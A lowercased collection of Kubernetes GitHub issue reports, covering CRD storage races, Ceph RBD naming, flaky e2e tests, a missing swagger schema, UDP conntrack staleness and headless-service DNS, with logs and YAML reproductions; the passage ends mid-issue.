/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/network_tiers.go:80\r    \r \r @agau4779 @nicksardo

  \r another bug uncovered by  68405. in the extension server, we are removing old cr's storage when some significant changes  spec, some status  land in the corresponding crd with the help of crd informer. but when we're destroying the old crd's storage, there are might be some remaining requests invoking etcd client from the old storage. so a racing happens when the crd's informer trying to delete/close the old storage together with the old etcd client and the running handler trying to call rest interface via that client. as a result, the handler will fail with a  context canceled  or  grpc: the client connection is closing  which is the reason  68405 is flaky. \r \r in a word, __updating crd will fail all processing cr requests__. \r \r @sttts proposes to make use of the  apimachinery waitgroup  https://github.com/kubernetes/kubernetes/pull/54849  for the storage and we only delete a storage when the all the running handler's finished. but we might left some problem with that:\r \r - do we count the  waitgroup  only in the handler ignoring other etcd client references like compactor?  \r - ~how will this impact server's performance?~\r - does it have to be a  waitgroup ?\r - what about some long running handlers?  watch  has a timeout itself tho, what about infinite handlers like  proxyport ?\r \r otoh, we can add a cooldown period  minute-ish?  for older cr storage to postpone the actual deletion for that storage. surely, it's not stable but a cooldown will at least keep most of short-running handler from failing.\r \r @deads2k @stttts\r

  \r   what happened  :\r we use ceph rbd through dynamic pv. evething is ok,but the dynamic pv's name do not match the rbd image name,i can't clearly see which pod corresponds to which rbd image, which brings great inconvenience to view the capacity usage of each pod, which is inconvenient to operate and maintain.\r \r here are the dynamic pvs:\r    \r root@yksp009027:~/mytest/ceph/rbd/test  kubectl get pv | grep pvc\r pvc-65fbc1c0-c55a-11e8-878f-141877468256   100gi      rwo            retain           bound     default/accountsystemdbdm        cephrbd                  22h\r pvc-f692f7b1-c55b-11e8-878f-141877468256   100gi      rwo            retain           bound     default/amazoninfosysdbdm        cephrbd                  22h\r pvc-f6c6a2a3-c55b-11e8-878f-141877468256   100gi      rwo            retain           bound     default/dmclgsdbdm               cephrbd                  22h\r pvc-f6f971c7-c55b-11e8-878f-141877468256   100gi      rwo            retain           bound     default/erpcenterdbdm            cephrbd                  22h\r pvc-f72ea03b-c55b-11e8-878f-141877468256   100gi      rwo            retain           bound     default/lazadatooldbdm           cephrbd                  22h\r pvc-f75e1c9a-c55b-11e8-878f-141877468256   100gi      rwo            retain           bound     default/newordersconverterdbdm   cephrbd                  22h\r pvc-f78e3eae-c55b-11e8-878f-141877468256   100gi      rwo            retain           bound     default/yksowdbdm                cephrbd                  22h\r    \r here are the rbd images:\r    \r  root@yksp020114 ~   rbd ls rbd\r kubernetes-dynamic-pvc-6613ab8f-c55a-11e8-b2df-0a58ac1a084e\r kubernetes-dynamic-pvc-f6985fc6-c55b-11e8-b2df-0a58ac1a084e\r kubernetes-dynamic-pvc-f6cdd9c2-c55b-11e8-b2df-0a58ac1a084e\r kubernetes-dynamic-pvc-f711dc1d-c55b-11e8-b2df-0a58ac1a084e\r kubernetes-dynamic-pvc-f7c90b57-c55b-11e8-b2df-0a58ac1a084e\r kubernetes-dynamic-pvc-f825062d-c55b-11e8-b2df-0a58ac1a084e\r kubernetes-dynamic-pvc-f8802d6d-c55b-11e8-b2df-0a58ac1a084e\r    \r the name of pv does not match the name of rbd image\r \r   what you expected to happen  :\r what is the mapping or regularity between the name of dynamic pv and the name of rbd image?so that i can master the capacity usage of each pod.\r \r   environment  :\r - kubernetes version  v1.9.3 :\r - os  ubuntu16.04 :\r - kernel  4.4.0-87-generic :\r - ceph version 10.2.11\r \r

upgrade tests should check that the correct addons are running at the correct versions after a cluster upgrade,  and that there aren't any old addons lying around .  cc @roberthbailey @zmerlynn for more context.

maybe it's not a big deal, but storageclass objects don't conform to the usual anatomy of k8s api objects. the  provisioner  and  parameters  fields are at the top level instead of being under a  spec  field.  instead of this:      kind: storageclass apiversion: storage.k8s.io/v1beta1 metadata:   name: slow provisioner: kubernetes.io/gce-pd parameters:   type: pd-standard      it should be like this:      kind: storageclass apiversion: storage.k8s.io/v1beta1 metadata:   name: slow spec:   provisioner: kubernetes.io/gce-pd   parameters:     type: pd-standard      feel free to close this if you think i'm being too petty. i just like my apis nice and consistent :

\r \r   is this a bug report or feature request?    choose one :\r not sure\r \r when i deploy gitlab and jenkins using 'kubectl run ',  it need more ports.\r   what happened  :\r i write it as --port=80 --port=9000\r but only the last one is used\r \r   what you expected to happen  :\r i hope the  'kubectl run ' can provide more --port \r \r  \r may be the way i wrote is not right, if this is the case then how to use the ' --port' of 'kubectl run '

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2408/ failed:  k8s.io  initcontainer should not start app containers if init containers fail on a restartalways pod {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:120 mar  8 19:44:04.140: couldn't delete ns: \ e2e-tests-init-container-5vpd1\ : namespace e2e-tests-init-container-5vpd1 was not deleted with limit: timed out waiting for the condition, pods remaining: 1, pods missing deletion timestamp: 0  &errors.errorstring{s:\ namespace e2e-tests-init-container-5vpd1 was not deleted with limit: timed out waiting for the condition, pods remaining: 1, pods missing deletion timestamp: 0\ }  /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:270

failure cluster: https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=services%20should%20only%20allow 63a36434077ff31ae29e\r \r testgrid: https://k8s-testgrid.appspot.com/google-aws kops-aws-slow\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1252\r expected error:\r     < errors.errorstring | 0xc4203af910>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1730\r    \r \r /assign @justinsb @bowei \r @kubernetes/sig-network-test-failures

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no.\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r updatecidrallocation\r cidr\r node_controller\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r in  kubernetes/pkg/controller/node/range_allocator.go  we have  updatecidrallocation data nodeandcidr   assign cidr to the node and then updates the api server.\r except that the update is done through this : \r \r    go\r \t\tnode.spec.podcidr = data.cidr.string  \r \t\tif _, err := r.client.core  .nodes  .update node ; err != nil {\r \t\t\tglog.errorf \ failed while updating node.spec.podcidr  %d retries left : %v\ , podcidrupdateretry-rep-1, err \r \t\t} else {\r \t\t\tbreak\r \t\t}\r    \r the update uses a put under the hood, shouldn't we use \r    go \r patch name string, pt types.patchtype, data   byte, subresources ...string   result  v1.node, err error \r    \r that is provided by the  nodeinterface  ? cc @gmarek

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r feature request\r \r  \r \r \r   anything else we need to know?  :\r cold start  first pod pull / launch  can be very slow, especially for large images. it would be nice to be able to pre-pull the image to any/all nodes in the cluster  expose the cri pullimage through the kubelet, bubble it up through the apisever . currently as a workaround i have to run a daemonset with a  sleep   entrypoint in order to achieve this.

 \r hello,\r \r i'm working on a generated client from the swagger api. something i noticed was the missing schema definition of  io.k8s.apimachinery.pkg.apis.meta.v1.patch  in the patch request of  /api/v1/namespaces/{namespace}/configmaps/{name} . the  parameters  of this request refers to the schema as follows:\r  \r schema\ : {\r \ $ref\ : \  /definitions/io.k8s.apimachinery.pkg.apis.meta.v1.patch\ \r }\r  \r \r compare this to the put request of  /api/v1/namespaces/{namespace}/configmaps/{name}  where the  parameters  refers to the schema as:\r  \r schema\ : {\r \ $ref\ : \  /definitions/io.k8s.kubernetes.pkg.api.v1.configmap\ \r }\r  \r \r however, in the latter  io.k8s.kubernetes.pkg.api.v1.configmap  can be found with a properly defined schema as\r  \r \ io.k8s.kubernetes.pkg.api.v1.configmap\ : {\r \ description\ : \ configmap holds configuration data for pods to consume.\ ,\r \ properties\ : {\r \ apiversion\ : {\r \ description\ : \ apiversion defines the versioned schema of this representation of an object. servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. more info: https://git.k8s.io/community/contributors/devel/api-conventions.md resources\ ,\r \ type\ : \ string\ \r },\r \ data\ : {\r \ description\ : \ data contains the configuration data. each key must consist of alphanumeric characters, '-', '_' or '.'.\ ,\r \ type\ : \ object\ ,\r \ additionalproperties\ : {\r \ type\ : \ string\ \r }\r },\r \ kind\ : {\r \ description\ : \ kind is a string value representing the rest resource this object represents. servers may infer this from the endpoint the client submits requests to. cannot be updated. in camelcase. more info: https://git.k8s.io/community/contributors/devel/api-conventions.md types-kinds\ ,\r \ type\ : \ string\ \r },\r \ metadata\ : {\r \ description\ : \ standard object's metadata. more info: https://git.k8s.io/community/contributors/devel/api-conventions.md metadata\ ,\r \ $ref\ : \  /definitions/io.k8s.apimachinery.pkg.apis.meta.v1.objectmeta\ \r }\r }\r }\r  \r where as the schema definition of  io.k8s.apimachinery.pkg.apis.meta.v1.patch  cannot be found in the api.\r \r let me know if this is not a bug or a version mismatching issue and will close the issue asap. \r \r thanks.\r \r   what happened  :\r i noticed while browsing the swagger api  that its missing the definition for : io.k8s.apimachinery.pkg.apis.meta.v1.patch .\r \r   what you expected to happen  :\r a definition of like the following  \ io.k8s.apimachinery.pkg.apis.meta.v1.patch\ : { .. } .\r \r   how to reproduce it  as minimally and precisely as possible   :\r navigate to the proxy api for your k8s cluster to the following url  http://127.0.0.1:8001/swagger.json .\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client:\r  client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t17:03:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }  \r \r server:\r  server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-07-26t00:12:31z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r - cloud provider or hardware configuration  :\r running a minikube cluster with version:  minikube version: v0.21.0  \r \r - os  e.g. from /etc/os-release :\r mac os sierra version 10.12.6\r \r - kernel  e.g.  uname -a  :\r  darwin masroors-macbook-pro.local 16.7.0 darwin kernel version 16.7.0: thu jun 15 17:36:27 pdt 2017; root:xnu-3789.70.16~2/release_x86_64 x86_64

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r pkg/registry/storage/storageclass/storage test failed\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r make test what=./pkg/registry/storage/storageclass/storage\r \r running tests for apiversion: v1,admissionregistration.k8s.io/v1alpha1,admission.k8s.io/v1alpha1,apps/v1beta1,apps/v1beta2,apps/v1,authentication.k8s.io/v1,authentication.k8s.io/v1beta1,authorization.k8s.io/v1,authorization.k8s.io/v1beta1,autoscaling/v1,autoscaling/v2beta1,batch/v1,batch/v1beta1,batch/v2alpha1,certificates.k8s.io/v1beta1,extensions/v1beta1,imagepolicy.k8s.io/v1alpha1,networking.k8s.io/v1,policy/v1beta1,rbac.authorization.k8s.io/v1,rbac.authorization.k8s.io/v1beta1,rbac.authorization.k8s.io/v1alpha1,scheduling.k8s.io/v1alpha1,settings.k8s.io/v1alpha1,storage.k8s.io/v1alpha1,storage.k8s.io/v1beta1,storage.k8s.io/v1,\r +++  1120 22:11:29  running tests without code coverage\r 2017-11-20 22:11:32.694382 i | integration: launching 350357350691360349  unix://localhost:3503573506913603490 \r 2017-11-20 22:11:32.697180 i | etcdserver: name = 350357350691360349\r 2017-11-20 22:11:32.697191 i | etcdserver: data dir = /tmp/etcd150364170\r 2017-11-20 22:11:32.697195 i | etcdserver: member dir = /tmp/etcd150364170/member\r 2017-11-20 22:11:32.697197 i | etcdserver: heartbeat = 10ms\r 2017-11-20 22:11:32.697200 i | etcdserver: election = 100ms\r 2017-11-20 22:11:32.697202 i | etcdserver: snapshot count = 0\r 2017-11-20 22:11:32.697208 i | etcdserver: advertise client urls = unix://127.0.0.1:21002144510\r 2017-11-20 22:11:32.697211 i | etcdserver: initial advertise peer urls = unix://127.0.0.1:21001144510\r 2017-11-20 22:11:32.697218 i | etcdserver: initial cluster = 350357350691360349=unix://127.0.0.1:21001144510\r 2017-11-20 22:11:32.714064 i | etcdserver: starting member 51e9ef4a860d9569 in cluster 798d22d3d1aa1aa9\r 2017-11-20 22:11:32.714096 i | raft: 51e9ef4a860d9569 became follower at term 0\r 2017-11-20 22:11:32.714107 i | raft: newraft 51e9ef4a860d9569  peers:   , term: 0, commit: 0, applied: 0, lastindex: 0, lastterm: 0 \r 2017-11-20 22:11:32.714112 i | raft: 51e9ef4a860d9569 became follower at term 1\r 2017-11-20 22:11:32.728842 i | etcdserver: set snapshot count to default 10000\r 2017-11-20 22:11:32.728865 i | etcdserver: starting server...  version: 3.1.10, cluster version: to_be_decided \r 2017-11-20 22:11:32.729177 i | etcdserver/membership: added member 51e9ef4a860d9569  unix://127.0.0.1:21001144510  to cluster 798d22d3d1aa1aa9\r 2017-11-20 22:11:32.729192 i | integration: launched 350357350691360349  unix://localhost:3503573506913603490 \r 2017-11-20 22:11:32.804415 i | raft: 51e9ef4a860d9569 is starting a new election at term 1\r 2017-11-20 22:11:32.804525 i | raft: 51e9ef4a860d9569 became candidate at term 2\r 2017-11-20 22:11:32.804545 i | raft: 51e9ef4a860d9569 received msgvoteresp from 51e9ef4a860d9569 at term 2\r 2017-11-20 22:11:32.804564 i | raft: 51e9ef4a860d9569 became leader at term 2\r 2017-11-20 22:11:32.804579 i | raft: raft.node: 51e9ef4a860d9569 elected leader 51e9ef4a860d9569 at term 2\r 2017-11-20 22:11:32.804846 i | etcdserver: published {name:350357350691360349 clienturls: unix://127.0.0.1:21002144510 } to cluster 798d22d3d1aa1aa9\r 2017-11-20 22:11:32.804873 i | etcdserver: setting up the initial cluster version to 3.1\r 2017-11-20 22:11:32.805945 n | etcdserver/membership: set the initial cluster version to 3.1\r 2017-11-20 22:11:32.805977 i | etcdserver/api: enabled capabilities for version 3.1\r 2017-11-20 22:11:32.814300 i | integration: terminating 350357350691360349  unix://localhost:3503573506913603490 \r 2017-11-20 22:11:32.818001 i | integration: terminated 350357350691360349  unix://localhost:3503573506913603490 \r --- fail: testcreate  0.12s \r \tresttest.go:318: unexpected error: no kind \ storageclass\  is registered for version \ storage.k8s.io/v1alpha1\ \r 2017-11-20 22:11:32.818476 i | integration: launching 6568308720082957755  unix://localhost:65683087200829577550 \r 2017-11-20 22:11:32.821789 i | etcdserver: name = 6568308720082957755\r 2017-11-20 22:11:32.821813 i | etcdserver: data dir = /tmp/etcd844266977\r 2017-11-20 22:11:32.821822 i | etcdserver: member dir = /tmp/etcd844266977/member\r 2017-11-20 22:11:32.821828 i | etcdserver: heartbeat = 10ms\r 2017-11-20 22:11:32.821834 i | etcdserver: election = 100ms\r 2017-11-20 22:11:32.821839 i | etcdserver: snapshot count = 0\r 2017-11-20 22:11:32.821849 i | etcdserver: advertise client urls = unix://127.0.0.1:21004144510\r 2017-11-20 22:11:32.821856 i | etcdserver: initial advertise peer urls = unix://127.0.0.1:21003144510\r 2017-11-20 22:11:32.821876 i | etcdserver: initial cluster = 6568308720082957755=unix://127.0.0.1:21003144510\r 2017-11-20 22:11:32.827313 i | etcdserver: starting member ed1d41d3ffb24ed3 in cluster 1bb8c328abbbfd78\r 2017-11-20 22:11:32.827346 i | raft: ed1d41d3ffb24ed3 became follower at term 0\r 2017-11-20 22:11:32.827360 i | raft: newraft ed1d41d3ffb24ed3  peers:   , term: 0, commit: 0, applied: 0, lastindex: 0, lastterm: 0 \r 2017-11-20 22:11:32.827368 i | raft: ed1d41d3ffb24ed3 became follower at term 1\r 2017-11-20 22:11:32.843212 i | etcdserver: set snapshot count to default 10000\r 2017-11-20 22:11:32.843270 i | etcdserver: starting server...  version: 3.1.10, cluster version: to_be_decided \r 2017-11-20 22:11:32.843652 i | etcdserver/membership: added member ed1d41d3ffb24ed3  unix://127.0.0.1:21003144510  to cluster 1bb8c328abbbfd78\r 2017-11-20 22:11:32.843707 i | integration: launched 6568308720082957755  unix://localhost:65683087200829577550 \r 2017-11-20 22:11:32.877742 i | raft: ed1d41d3ffb24ed3 is starting a new election at term 1\r 2017-11-20 22:11:32.877776 i | raft: ed1d41d3ffb24ed3 became candidate at term 2\r 2017-11-20 22:11:32.877805 i | raft: ed1d41d3ffb24ed3 received msgvoteresp from ed1d41d3ffb24ed3 at term 2\r 2017-11-20 22:11:32.877826 i | raft: ed1d41d3ffb24ed3 became leader at term 2\r 2017-11-20 22:11:32.877845 i | raft: raft.node: ed1d41d3ffb24ed3 elected leader ed1d41d3ffb24ed3 at term 2\r 2017-11-20 22:11:32.878039 i | etcdserver: setting up the initial cluster version to 3.1\r 2017-11-20 22:11:32.879399 n | etcdserver/membership: set the initial cluster version to 3.1\r 2017-11-20 22:11:32.879463 i | etcdserver: published {name:6568308720082957755 clienturls: unix://127.0.0.1:21004144510 } to cluster 1bb8c328abbbfd78\r 2017-11-20 22:11:32.887794 i | integration: terminating 6568308720082957755  unix://localhost:65683087200829577550 \r 2017-11-20 22:11:32.891519 i | integration: terminated 6568308720082957755  unix://localhost:65683087200829577550 \r --- fail: testupdate  0.07s \r \tresttest.go:456: unexpected error: no kind \ storageclass\  is registered for version \ storage.k8s.io/v1alpha1\ \r \tresttest.go:461: unexpected error: storageclasses.storage.k8s.io \ foo2\  not found\r panic: interface conversion: runtime.object is nil, not  storage.storageclass  recovered \r \tpanic: interface conversion: runtime.object is nil, not  storage.storageclass\r \r goroutine 213  running :\r testing.trunner.func1 0xc420ca0000 \r \t/usr/lib/google-golang/src/testing/testing.go:711 +0x2d2\r panic 0x1661b00, 0xc4200ccf00 \r \t/usr/lib/google-golang/src/runtime/panic.go:491 +0x283\r k8s.io/kubernetes/pkg/registry/storage/storageclass/storage.testupdate.func1 0x0, 0x0, 0x14, 0xc420bafdb8 \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/registry/storage/storageclass/storage/storage_test.go:93 +0x147\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/rest/resttest.  tester .testupdateequals 0xc42028a7e0, 0x22e6aa0, 0xc420288580, 0xc42062fee8, 0xc4202803e0, 0x18daca0 \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/rest/resttest/resttest.go:463 +0x2bd\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/rest/resttest.  tester .testupdate 0xc42028a7e0, 0x22e6aa0, 0xc420288420, 0xc420bafee8, 0xc4202803e0, 0x18daca0, 0xc42000e208, 0x1, 0x1 \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/rest/resttest/resttest.go:162 +0x61\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/testing.  tester .testupdate 0xc4202803c0, 0x22e6aa0, 0xc420288420, 0x18daca0, 0xc42062ff88, 0x1, 0x1 \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/testing/tester.go:92 +0x209\r k8s.io/kubernetes/pkg/registry/storage/storageclass/storage.testupdate 0xc420ca0000 \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/registry/storage/storageclass/storage/storage_test.go:88 +0x33a\r testing.trunner 0xc420ca0000, 0x18dacb0 \r \t/usr/lib/google-golang/src/testing/testing.go:746 +0xd0\r created by testing.  t .run\r \t/usr/lib/google-golang/src/testing/testing.go:789 +0x2de\r fail\tk8s.io/kubernetes/pkg/registry/storage/storageclass/storage\t0.410s\r make:      test  error 1\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : head\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r go version go1.9.2 linux/amd64\r \r

 \r   what happened  :\r 1. a server pod exposes udp host port.\r 2. a client sends packets to the server pod thru the host port. this creates a conntrack entry.\r 3. the server pod's ip changs due to whatever reason, such as pod gets recreated.\r 4. due to the nature of udp and conntrack, new request from the same client to the host port will keep hitting the stale conntrack entry.\r 5. client observes traffic black hole.\r \r   what you expected to happen  :\r after recreation of the server pod  with the same host port , udp packets reach the new server pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    yaml\r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   name: test-udp-server\r   namespace: default\r spec:\r   updatestrategy:\r     type: rollingupdate\r   template:\r     metadata:\r       labels:\r         app: test-udp-server\r       name: test-udp-server\r     spec:\r       hostnetwork: true\r       containers:\r       - image: see_dockerfile\r         name: test-udp-server\r         ports:\r           - name: udp\r             containerport: 8125\r             hostport: 8125\r             protocol: udp\r         env:\r         - name: host\r           valuefrom:\r             fieldref:\r               fieldpath: spec.nodename\r         - name: revision\r           value: \ r1\ \r         command:\r         - \ bash\ \r         - \ -c\ \r         - |\r           set -x\r           socat - udp4-recvfrom:8125,fork\r         livenessprobe:\r           exec:\r             command:\r             - \ bash\ \r             - \ -c\ \r             - |\r               echo \ liveness probe: $ date \  | socat - udp4-datagram:$ hostname -i :8125\r           initialdelayseconds: 60\r           periodseconds: 60\r    \r \r    yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: test-udp-client\r   namespace: default\r spec:\r   template:\r     metadata:\r       labels:\r         app: test-udp-client\r     spec:\r       containers:\r       - image: see_dockerfile\r         name: test-udp-client\r         env:\r         - name: host\r           valuefrom:\r             fieldref:\r               fieldpath: spec.nodename\r         command:\r         - \ bash\ \r         - \ -c\ \r         - |\r           set -x\r           socat - udp4-datagram:$host:8125 < < while true ; do echo \ from $ hostname : $ date \ ; sleep 1 ; done \r    \r \r    \r from debian:stretch\r \r run apt-get -y update\r run apt-get -y --no-upgrade install socat tcpdump\r    \r \r 1. create the above daemonset and deployment.\r 2. kubectl attach to the daemon pod on the same node as the client, see output\r 3. change revision in daemonset, kubectl apply it.\r 4. kubectl attach again, see no output.\r \r   environment  : gke 1.8.x\r \r \r

 \r   what happened  :\r our deployment is configured with a headless service and every pod gets its own a-record. if i add a nodeport service in addition to the existing headless service to the same deployment, the headless service seems to be broken and i dont't get any a-records for my pods.\r \r   what you expected to happen  :\r i want to run the headless service and the nodeport service at the same time for the same deployment, so i should reach my service via nodeport and should get a-records for all of my deployment's pods.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a deployment and add the following services:\r \r   headless service  \r    \r {\r   \ kind\ : \ service\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \ name\ : \ p-queue-headless\ ,\r     \ namespace\ : \ infrastructure\ ,\r     \ selflink\ : \ /api/v1/namespaces/infrastructure/services/p-queue-headless\ ,\r     \ uid\ : \ f85d7df5-46d4-11e8-892f-928f9352e3ec\ ,\r     \ resourceversion\ : \ 11700578\ ,\r     \ creationtimestamp\ : \ 2018-04-23t09:01:54z\ ,\r     \ labels\ : {\r       \ app\ : \ p-queue\ ,\r       \ heritage\ : \ tiller\ \r     },\r     \ annotations\ : {\r       \ appversion\ : \ 1.1\ ,\r       \ chartversion\ : \ 1.0.0\ ,\r       \ releasetime\ : \ 2018-04-23 09:01:54.003968052 +0000 utc\ ,\r       \ service.alpha.kubernetes.io/tolerate-unready-endpoints\ : \ true\ \r     }\r   },\r   \ spec\ : {\r     \ ports\ :  \r       {\r         \ name\ : \ http\ ,\r         \ protocol\ : \ tcp\ ,\r         \ port\ : 8161,\r         \ targetport\ : \ http\ \r       },\r       {\r         \ name\ : \ core\ ,\r         \ protocol\ : \ tcp\ ,\r         \ port\ : 61616,\r         \ targetport\ : \ core\ \r       },\r       {\r         \ name\ : \ amqp\ ,\r         \ protocol\ : \ tcp\ ,\r         \ port\ : 5672,\r         \ targetport\ : \ amqp\ \r       }\r      ,\r     \ selector\ : {\r       \ app\ : \ p-queue\ \r     },\r     \ clusterip\ : \ none\ ,\r     \ type\ : \ clusterip\ ,\r     \ sessionaffinity\ : \ none\ \r   },\r   \ status\ : {\r     \ loadbalancer\ : {}\r   }\r }\r    \r \r   nodeport service  \r    \r {\r   \ kind\ : \ service\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \ name\ : \ p-queue\ ,\r     \ namespace\ : \ infrastructure\ ,\r     \ selflink\ : \ /api/v1/namespaces/infrastructure/services/p-queue\ ,\r     \ uid\ : \ f864c05d-46d4-11e8-892f-928f9352e3ec\ ,\r     \ resourceversion\ : \ 11700584\ ,\r     \ creationtimestamp\ : \ 2018-04-23t09:01:54z\ ,\r     \ labels\ : {\r       \ app\ : \ p-queue\ ,\r       \ heritage\ : \ tiller\ ,\r     },\r     \ annotations\ : {\r       \ appversion\ : \ 1.1\ ,\r       \ chartversion\ : \ 1.0.0\ ,\r       \ releasetime\ : \ 2018-04-23 09:01:54.006124278 +0000 utc\ ,\r       \ service.alpha.kubernetes.io/tolerate-unready-endpoints\ : \ true\ \r     }\r   },\r   \ spec\ : {\r     \ ports\ :  \r       {\r         \ name\ : \ http\ ,\r         \ protocol\ : \ tcp\ ,\r         \ port\ : 8161,\r         \ targetport\ : \ http\ ,\r         \ nodeport\ : 31781\r       },\r       {\r         \ name\ : \ core\ ,\r         \ protocol\ : \ tcp\ ,\r         \ port\ : 61616,\r         \ targetport\ : \ core\ ,\r         \ nodeport\ : 31716\r       },\r       {\r         \ name\ : \ amqp\ ,\r         \ protocol\ : \ tcp\ ,\r         \ port\ : 5672,\r         \ targetport\ : \ amqp\ ,\r         \ nodeport\ : 31772\r       }\r      ,\r     \ selector\ : {\r       \ app\ : \ p-queue\ \r     },\r     \ clusterip\ : \ 10.100.94.51\ ,\r     \ type\ : \ nodeport\ ,\r     \ sessionaffinity\ : \ none\ ,\r     \ externaltrafficpolicy\ : \ cluster\ \r   },\r   \ status\ : {\r     \ loadbalancer\ : {}\r   }\r }\r    \r \r test if a-records for all pods are available:\r    \r bash-4.4  dig ecommerce a +search +noall +answer\r \r ; <<>> dig 9.11.2-p1 <<>> p-queue-headless a +search +noall +answer\r ;; global options: +cmd\r p-queue-headless.infrastructure.svc.cluster.local. 30\tin a 10.244.1.92\r p-queue-headless.infrastructure.svc.cluster.local. 30\tin a 10.244.3.141\r     \r \r broken, with nodeport service:\r    \r bash-4.4  dig p-queue-headless a +search +noall +answer\r \r ; <<>> dig 9.11.2-p1 <<>> p-queue-headless a +search +noall +answer\r ;; global options: +cmd\r    \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version: 1.9.6\r - cloud provider or hardware configuration: on prem\r - os  e.g. from /etc/os-release : centos 7.4.1708\r - kernel  e.g.  uname -a  : 3.10.0-693.21.1.el7.x86_64  1 smp wed mar 7 19:03:37 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r

flaky jobs: \r    presubmits-kubernetes-blocking pull-kubernetes-integration  https://k8s-testgrid.appspot.com/presubmits-kubernetes-blocking pull-kubernetes-integration \r    sig-release-master-blocking integration  https://k8s-testgrid.appspot.com/sig-release-master-blocking integration \r \r    consistency:  95.9%  http://storage.googleapis.com/k8s-metrics/job-flakes-latest.json \r \r    flakiest test : \r    k8s.io/kubernetes/test/integration/scheduler.testvolumebindingstress  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/63890/pull-kubernetes-integration/11678 \r \r    flakes in the past week:  36  http://storage.googleapis.com/k8s-metrics/flakes-latest.json \r \r triage link\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&test=k8s.io%2fkubernetes%2ftest%2fintegration%2fscheduler.testvolumebindingstress\r \r \r / /  /sig-storage\r  /assign @msau42 \r @kubernetes/sig-storage-bugs \r \r @msau42 i assigned this issue to you since i see that you added the  integration test  https://github.com/kubernetes/kubernetes/commit/f5ec326e7a34bbfff2e83621aa93928d0361848c . please triage as you see fit. this is currently our  1 flake and repros in both presubmits and release blocking jobs\r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r   what happened  :\r    what you expected to happen  :\r   problem 1: predicates filter nodes. existing pods on those nodes will be not be counted when calculating max pods per  zone or node  resulting in imbalanced cluster.\r eg:  generalpredicates  https://github.com/kubernetes/kubernetes/blob/e20c15174e96957c4e1faf7822125c7d295316a4/pkg/scheduler/algorithm/predicates/predicates.go l1071  removes nodes which cannot  fit this pod  https://github.com/kubernetes/kubernetes/blob/e20c15174e96957c4e1faf7822125c7d295316a4/pkg/scheduler/algorithm/predicates/predicates.go l728 . if any of the pods are already scheduled on this node, they are not considered when counting   max pods  https://github.com/kubernetes/kubernetes/blob/e20c15174e96957c4e1faf7822125c7d295316a4/pkg/scheduler/algorithm/priorities/selector_spreading.go l122-l137  in  calculatespreadpriorityreduce .\r \r   problem 2: when there are 2 selectors service and replication controller , it is sufficient to match any 